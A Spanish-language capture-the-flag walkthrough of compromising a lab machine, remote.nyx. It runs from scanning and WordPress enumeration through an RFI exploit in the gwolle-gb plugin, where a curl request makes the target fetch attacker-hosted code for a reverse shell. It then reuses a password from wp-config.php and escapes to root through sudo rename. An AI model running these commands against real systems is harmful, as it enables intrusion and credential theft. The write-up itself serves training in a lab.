Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.62
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.62
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.62 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 y 80.
Comprobamos que es lo que corre por el puerto 80.
A continuación, realizamos con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:
$ gobuster dir -u http://10.0.2.62 -w /usr/share/seclists/Discovery/Web-Content/Director-list-2.3-big.txt
Encontramos el directorio wordpress.
Accedemos a el.
El contenido no carga correctamente ya que las hojas de estilo apuntan a un dominio, abrimos el inspector del navegador haber si lo encontramos.
Encontramos el dominio remote.nyx.
Lo agregamos al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:
$ nano /etc/hosts
A continuación, con la herramienta wpscan enumeramos por usuarios y plugins, para ello ejecutamos el siguiente comando:
$ wpscan --url http://remote.nyx/wordpress --enumerate u,p --plugins-detection mixed
Y encontramos el plugin gwolle-gb en su version 1.5.3 y el usuario tiago.
Hacemos una busqueda por internet a ver si existe algún exploit para esta versión de este plugin.
Encontramos este exploit, siendo esta versión vulnerable a Remote File Inclusion (RFI).
A continuacion, nos creamos una
reverse shell, para ello ejecutamos el siguiente comando:
$ nano wp-load.php
Nos levantamos un servidor HTTP en Python, para ello ejecutamos el siguiente comando:
$ python3 -m http.server 80
En nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 443
Con curl lanzamos una petición al servidor web, para ello ejecutamos el siguiente comando:
$ curl -sX GET "http://remote.nyx/wordpress/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.0.2.4/"
Y obtenemos una shell como www-data.
A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
Revisamos el archivo wp-config.php.
Obtenemos la contraseña WPr00t3d123!.
Nos cambiamos al usuario tiago, para ello ejecutamos el siguiente comando:
$ su tiago
Introducimos la contraña obtenida anteriormente.
¡¡¡Somos tiago!!!.
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario rename que lo podemos ejecutar como el usuario root, revisando la ayuda de este binario encuentro que existe el parametro -m o --man para revisar la documentacion de este binario en modo paginated permitiendonos escapar una shell como el usuario root, para ello lo ejecutamos de la siguiente manera:
$ sudo -u root /usr/bin/rename -m
!/bin/bash -i
¡¡¡Ya somos root!!!.
Ya podemos leer las flags de user y root.